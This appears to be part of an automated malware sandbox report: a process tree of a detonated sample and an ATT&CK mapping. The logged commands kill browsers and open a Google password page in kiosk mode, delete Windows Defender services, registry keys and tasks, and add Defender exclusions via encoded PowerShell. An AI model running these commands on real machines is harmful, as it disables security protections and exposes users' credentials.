                • Suspicious use of AdjustPrivilegeToken
                PID:5076
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM chrome.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2428
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM msedge.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3064
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM opera.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3164
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM brave.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4980
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                7⤵
                  PID:3248
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                    8⤵
                    • Checks processor information in registry
                    • Modifies registry class
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    • Suspicious use of SetWindowsHookEx
                    PID:6104
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2012 -prefsLen 27099 -prefMapHandle 2016 -prefMapSize 270279 -ipcHandle 2092 -initialChannelId {7059b5dd-b4b2-4302-b6ac-8ce56db1841c} -parentPid 6104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6104" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                      9⤵
                        PID:4720
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2496 -prefsLen 27135 -prefMapHandle 2500 -prefMapSize 270279 -ipcHandle 2512 -initialChannelId {1a224298-27e5-4383-a327-18b0e4d4fba0} -parentPid 6104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                        9⤵
                          PID:2916
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3860 -prefsLen 25164 -prefMapHandle 3864 -prefMapSize 270279 -jsInitHandle 3868 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3876 -initialChannelId {42e97e89-aa1d-469a-a4c6-42cdc89168cb} -parentPid 6104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                          9⤵
                          • Checks processor information in registry
                          PID:5072
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4024 -prefsLen 27276 -prefMapHandle 4028 -prefMapSize 270279 -ipcHandle 4100 -initialChannelId {8703bc5c-7f09-4235-8965-8900bfe38bf3} -parentPid 6104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6104" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                          9⤵
                            PID:5008
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3012 -prefsLen 34775 -prefMapHandle 3308 -prefMapSize 270279 -jsInitHandle 3340 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3168 -initialChannelId {b47efeb3-6521-48bc-ba15-5f467a7ac783} -parentPid 6104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                            9⤵
                            • Checks processor information in registry
                            PID:5648
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5016 -prefsLen 34905 -prefMapHandle 5036 -prefMapSize 270279 -ipcHandle 5008 -initialChannelId {e17fe04a-dcdf-4d20-9018-abeafc99a505} -parentPid 6104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                            9⤵
                            • Checks processor information in registry
                            PID:5728
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5336 -prefsLen 32845 -prefMapHandle 5340 -prefMapSize 270279 -jsInitHandle 5344 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5356 -initialChannelId {2414be83-185e-49a3-8ff6-3cca1548c20a} -parentPid 6104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                            9⤵
                            • Checks processor information in registry
                            PID:3352
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5548 -prefsLen 32845 -prefMapHandle 5552 -prefMapSize 270279 -jsInitHandle 5556 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5564 -initialChannelId {dd1512e9-78ce-411f-90cd-08bbf7e4ba41} -parentPid 6104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                            9⤵
                            • Checks processor information in registry
                            PID:6024
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5768 -prefsLen 32845 -prefMapHandle 5772 -prefMapSize 270279 -jsInitHandle 5776 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5552 -initialChannelId {5b977952-8bb8-4fc3-a8b2-e0238901f025} -parentPid 6104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                            9⤵
                            • Checks processor information in registry
                            PID:5884
                    • C:\Users\Admin\AppData\Local\Temp\10467750101\apple.exe
                      "C:\Users\Admin\AppData\Local\Temp\10467750101\apple.exe"
                      6⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:5780
                      • C:\Users\Admin\AppData\Local\Temp\272.exe
                        "C:\Users\Admin\AppData\Local\Temp\272.exe"
                        7⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:888
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9805.tmp\9806.tmp\9807.bat C:\Users\Admin\AppData\Local\Temp\272.exe"
                          8⤵
                            PID:1636
                            • C:\Users\Admin\AppData\Local\Temp\272.exe
                              "C:\Users\Admin\AppData\Local\Temp\272.exe" go
                              9⤵
                              • Checks computer location settings
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:3576
                              • C:\Windows\system32\cmd.exe
                                "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\996C.tmp\996D.tmp\996E.bat C:\Users\Admin\AppData\Local\Temp\272.exe go"
                                10⤵
                                • Drops file in Program Files directory
                                PID:4932
                                • C:\Windows\system32\sc.exe
                                  sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                                  11⤵
                                  • Launches sc.exe
                                  PID:3972
                                • C:\Windows\system32\sc.exe
                                  sc start ddrver
                                  11⤵
                                  • Launches sc.exe
                                  PID:3556
                                • C:\Windows\system32\timeout.exe
                                  timeout /t 1
                                  11⤵
                                  • Delays execution with timeout.exe
                                  PID:3636
                                • C:\Windows\system32\sc.exe
                                  sc stop ddrver
                                  11⤵
                                  • Launches sc.exe
                                  PID:116
                                • C:\Windows\system32\sc.exe
                                  sc start ddrver
                                  11⤵
                                  • Launches sc.exe
                                  PID:1516
                                • C:\Windows\system32\takeown.exe
                                  takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                                  11⤵
                                  • Possible privilege escalation attempt
                                  • Modifies file permissions
                                  PID:5676
                                • C:\Windows\system32\icacls.exe
                                  icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                                  11⤵
                                  • Possible privilege escalation attempt
                                  • Modifies file permissions
                                  PID:2948
                                • C:\Windows\system32\sc.exe
                                  sc stop "WinDefend"
                                  11⤵
                                  • Launches sc.exe
                                  PID:1760
                                • C:\Windows\system32\sc.exe
                                  sc delete "WinDefend"
                                  11⤵
                                  • Launches sc.exe
                                  PID:1132
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                                  11⤵
                                    PID:5976
                                  • C:\Windows\system32\sc.exe
                                    sc stop "MDCoreSvc"
                                    11⤵
                                    • Launches sc.exe
                                    PID:3000
                                  • C:\Windows\system32\sc.exe
                                    sc delete "MDCoreSvc"
                                    11⤵
                                    • Launches sc.exe
                                    PID:5208
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                                    11⤵
                                      PID:2676
                                    • C:\Windows\system32\sc.exe
                                      sc stop "WdNisSvc"
                                      11⤵
                                      • Launches sc.exe
                                      PID:740
                                    • C:\Windows\system32\sc.exe
                                      sc delete "WdNisSvc"
                                      11⤵
                                      • Launches sc.exe
                                      PID:3360
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                                      11⤵
                                        PID:5788
                                      • C:\Windows\system32\sc.exe
                                        sc stop "Sense"
                                        11⤵
                                        • Launches sc.exe
                                        PID:3472
                                      • C:\Windows\system32\sc.exe
                                        sc delete "Sense"
                                        11⤵
                                        • Launches sc.exe
                                        PID:1044
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                                        11⤵
                                          PID:308
                                        • C:\Windows\system32\sc.exe
                                          sc stop "wscsvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:2032
                                        • C:\Windows\system32\sc.exe
                                          sc delete "wscsvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:5540
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                                          11⤵
                                          • Modifies security service
                                          PID:4072
                                        • C:\Windows\system32\sc.exe
                                          sc stop "SgrmBroker"
                                          11⤵
                                          • Launches sc.exe
                                          PID:4176
                                        • C:\Windows\system32\sc.exe
                                          sc delete "SgrmBroker"
                                          11⤵
                                          • Launches sc.exe
                                          PID:2508
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                          11⤵
                                            PID:5512
                                          • C:\Windows\system32\sc.exe
                                            sc stop "SecurityHealthService"
                                            11⤵
                                            • Launches sc.exe
                                            PID:684
                                          • C:\Windows\system32\sc.exe
                                            sc delete "SecurityHealthService"
                                            11⤵
                                            • Launches sc.exe
                                            PID:5784
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                            11⤵
                                              PID:2424
                                            • C:\Windows\system32\sc.exe
                                              sc stop "webthreatdefsvc"
                                              11⤵
                                              • Launches sc.exe
                                              PID:1940
                                            • C:\Windows\system32\sc.exe
                                              sc delete "webthreatdefsvc"
                                              11⤵
                                              • Launches sc.exe
                                              PID:4944
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                              11⤵
                                                PID:1312
                                              • C:\Windows\system32\sc.exe
                                                sc stop "webthreatdefusersvc"
                                                11⤵
                                                • Launches sc.exe
                                                PID:4648
                                              • C:\Windows\system32\sc.exe
                                                sc delete "webthreatdefusersvc"
                                                11⤵
                                                • Launches sc.exe
                                                PID:5280
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                                11⤵
                                                  PID:4368
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "WdNisDrv"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:1956
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "WdNisDrv"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:6032
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                                  11⤵
                                                    PID:3260
                                                  • C:\Windows\system32\sc.exe
                                                    sc stop "WdBoot"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:5076
                                                  • C:\Windows\system32\sc.exe
                                                    sc delete "WdBoot"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:3308
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                                    11⤵
                                                      PID:3740
                                                    • C:\Windows\system32\sc.exe
                                                      sc stop "WdFilter"
                                                      11⤵
                                                      • Launches sc.exe
                                                      PID:5572
                                                    • C:\Windows\system32\sc.exe
                                                      sc delete "WdFilter"
                                                      11⤵
                                                      • Launches sc.exe
                                                      PID:1148
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                                      11⤵
                                                        PID:3644
                                                      • C:\Windows\system32\sc.exe
                                                        sc stop "SgrmAgent"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:5960
                                                      • C:\Windows\system32\sc.exe
                                                        sc delete "SgrmAgent"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:6056
                                                      • C:\Windows\system32\reg.exe
                                                        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                                        11⤵
                                                          PID:3196
                                                        • C:\Windows\system32\sc.exe
                                                          sc stop "MsSecWfp"
                                                          11⤵
                                                          • Launches sc.exe
                                                          PID:1168
                                                        • C:\Windows\system32\sc.exe
                                                          sc delete "MsSecWfp"
                                                          11⤵
                                                          • Launches sc.exe
                                                          PID:4668
                                                        • C:\Windows\system32\reg.exe
                                                          reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                          11⤵
                                                            PID:4940
                                                          • C:\Windows\system32\sc.exe
                                                            sc stop "MsSecFlt"
                                                            11⤵
                                                            • Launches sc.exe
                                                            PID:5780
                                                          • C:\Windows\system32\sc.exe
                                                            sc delete "MsSecFlt"
                                                            11⤵
                                                            • Launches sc.exe
                                                            PID:4672
                                                          • C:\Windows\system32\reg.exe
                                                            reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                            11⤵
                                                              PID:5488
                                                            • C:\Windows\system32\sc.exe
                                                              sc stop "MsSecCore"
                                                              11⤵
                                                              • Launches sc.exe
                                                              PID:1724
                                                            • C:\Windows\system32\sc.exe
                                                              sc delete "MsSecCore"
                                                              11⤵
                                                              • Launches sc.exe
                                                              PID:2272
                                                            • C:\Windows\system32\reg.exe
                                                              reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                              11⤵
                                                                PID:5752
                                                              • C:\Windows\system32\schtasks.exe
                                                                schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                                11⤵
                                                                  PID:116
                                                                • C:\Windows\system32\schtasks.exe
                                                                  schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                                  11⤵
                                                                    PID:1516
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                                    11⤵
                                                                      PID:5676
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                                      11⤵
                                                                        PID:4112
                                                                      • C:\Windows\system32\sc.exe
                                                                        sc stop ddrver
                                                                        11⤵
                                                                        • Launches sc.exe
                                                                        PID:1476
                                                                      • C:\Windows\system32\sc.exe
                                                                        sc delete ddrver
                                                                        11⤵
                                                                        • Launches sc.exe
                                                                        PID:5476
                                                            • C:\Users\Admin\AppData\Local\Temp\10467760101\a73b62902a.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10467760101\a73b62902a.exe"
                                                              6⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of SetThreadContext
                                                              • System Location Discovery: System Language Discovery
                                                              PID:5916
                                                              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\10467760101\a73b62902a.exe"
                                                                7⤵
                                                                • Downloads MZ/PE file
                                                                • Executes dropped EXE
                                                                • System Location Discovery: System Language Discovery
                                                                PID:5860
                                                            • C:\Users\Admin\AppData\Local\Temp\10467770101\27e3c769ca.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10467770101\27e3c769ca.exe"
                                                              6⤵
                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Identifies Wine through registry keys
                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                              • Suspicious use of SetThreadContext
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:1588
                                                              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\10467770101\27e3c769ca.exe"
                                                                7⤵
                                                                • Downloads MZ/PE file
                                                                • Executes dropped EXE
                                                                • System Location Discovery: System Language Discovery
                                                                PID:4404
                                                            • C:\Users\Admin\AppData\Local\Temp\10467780101\bot.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10467780101\bot.exe"
                                                              6⤵
                                                              • Executes dropped EXE
                                                              PID:3196
                                                            • C:\Users\Admin\AppData\Local\Temp\10467790101\amnew.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10467790101\amnew.exe"
                                                              6⤵
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              PID:3424
                                                            • C:\Users\Admin\AppData\Local\Temp\10467800101\092bc8b42a.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10467800101\092bc8b42a.exe"
                                                              6⤵
                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Identifies Wine through registry keys
                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:4876
                                                            • C:\Users\Admin\AppData\Local\Temp\10467810101\UZPt0hR.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10467810101\UZPt0hR.exe"
                                                              6⤵
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious behavior: MapViewOfSection
                                                              PID:4496
                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
                                                                7⤵
                                                                  PID:1464
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell.exe Add-MpPreference -ExclusionPath 'C:'
                                                                    8⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:4548
                                                                • C:\Windows\system32\svchost.exe
                                                                  "C:\Windows\system32\svchost.exe"
                                                                  7⤵
                                                                  • Downloads MZ/PE file
                                                                  • Adds Run key to start application
                                                                  PID:4052
                                                                  • C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
                                                                    "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
                                                                    8⤵
                                                                    • Sets service image path in registry
                                                                    • Executes dropped EXE
                                                                    • Suspicious behavior: LoadsDriver
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:3308
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Remove-MpPreference -ExclusionPath C:\
                                                                      9⤵
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:6496
                                                                  • C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
                                                                    8⤵
                                                                    • Deletes itself
                                                                    • Executes dropped EXE
                                                                    PID:5076
                                                              • C:\Users\Admin\AppData\Local\Temp\10467820101\LJl8AAr.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\10467820101\LJl8AAr.exe"
                                                                6⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of SetThreadContext
                                                                PID:2720
                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                  7⤵
                                                                    PID:3736
                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                    7⤵
                                                                      PID:3472
                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                      7⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:5788
                                                                  • C:\Users\Admin\AppData\Local\Temp\10467840101\TbV75ZR.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10467840101\TbV75ZR.exe"
                                                                    6⤵
                                                                    • Executes dropped EXE
                                                                    • Suspicious use of SetThreadContext
                                                                    PID:7860
                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                      7⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:7920
                                                                  • C:\Users\Admin\AppData\Local\Temp\10467850101\RYZusWg.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10467850101\RYZusWg.exe"
                                                                    6⤵
                                                                    • Executes dropped EXE
                                                                    PID:7700
                                                                  • C:\Users\Admin\AppData\Local\Temp\10467860101\larBxd7.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10467860101\larBxd7.exe"
                                                                    6⤵
                                                                    • Executes dropped EXE
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:10900
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
                                                                      7⤵
                                                                        PID:11032
                                                          • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                            C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            PID:5736
                                                          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                            C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                            1⤵
                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                            • Checks BIOS information in registry
                                                            • Executes dropped EXE
                                                            • Identifies Wine through registry keys
                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:2168
                                                          • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                            C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            PID:2428
                                                          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                            C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                            1⤵
                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                            • Checks BIOS information in registry
                                                            • Executes dropped EXE
                                                            • Identifies Wine through registry keys
                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:1940
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
                                                            1⤵
                                                              PID:1524
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
                                                              1⤵
                                                                PID:212
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAEQALQBNAHAAcABSAEUARgBlAHIAZQBuAGMAZQAgAC0AZQBYAEMATABVAFMAaQBPAG4AcABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBvAGQAZQBcAEkAcwBWAGEAbAB1AGUAQwByAGUAYQB0AGUAZAAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBFADsAIABhAEQARAAtAE0AUABQAHIARQBmAGUAcgBlAE4AYwBFACAALQBlAHgAQwBMAHUAUwBJAE8AbgBQAHIAbwBjAGUAUwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBvAGQAZQBcAEkAcwBWAGEAbAB1AGUAQwByAGUAYQB0AGUAZAAuAGUAeABlACAALQBmAE8AcgBjAGUA
                                                                1⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                PID:11556

                                                              Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Reconnaissance

                                                              Resource Development

                                                              Initial Access

                                                              Execution

                                                              Command and Scripting Interpreter

                                                              1
                                                              T1059

                                                              PowerShell

                                                              1
                                                              T1059.001

                                                              Scheduled Task/Job

                                                              1
                                                              T1053

                                                              Scheduled Task

                                                              1
                                                              T1053.005

                                                              System Services

                                                              2
                                                              T1569

                                                              Service Execution

                                                              2
                                                              T1569.002

                                                              Persistence

                                                              Boot or Logon Autostart Execution

                                                              2
                                                              T1547

                                                              Registry Run Keys / Startup Folder

                                                              2
                                                              T1547.001

                                                              Create or Modify System Process

                                                              3
                                                              T1543

                                                              Windows Service

                                                              3
                                                              T1543.003

                                                              Scheduled Task/Job

                                                              1
                                                              T1053

                                                              Scheduled Task

                                                              1
                                                              T1053.005

                                                              Privilege Escalation

                                                              Boot or Logon Autostart Execution

                                                              2
                                                              T1547

                                                              Registry Run Keys / Startup Folder

                                                              2
                                                              T1547.001

                                                              Create or Modify System Process

                                                              3
                                                              T1543

                                                              Windows Service

                                                              3
                                                              T1543.003

                                                              Scheduled Task/Job

                                                              1
                                                              T1053

                                                              Scheduled Task

                                                              1
                                                              T1053.005

                                                              Defense Evasion

                                                              File and Directory Permissions Modification

                                                              1
                                                              T1222

                                                              Impair Defenses

                                                              1
                                                              T1562

                                                              Modify Registry

                                                              3
                                                              T1112

                                                              Virtualization/Sandbox Evasion

                                                              2
                                                              T1497

                                                              Credential Access

                                                              Unsecured Credentials

                                                              1
                                                              T1552

                                                              Credentials In Files

                                                              1
                                                              T1552.001

                                                              Discovery

                                                              Query Registry

                                                              7
                                                              T1012

                                                              System Information Discovery

                                                              4
                                                              T1082

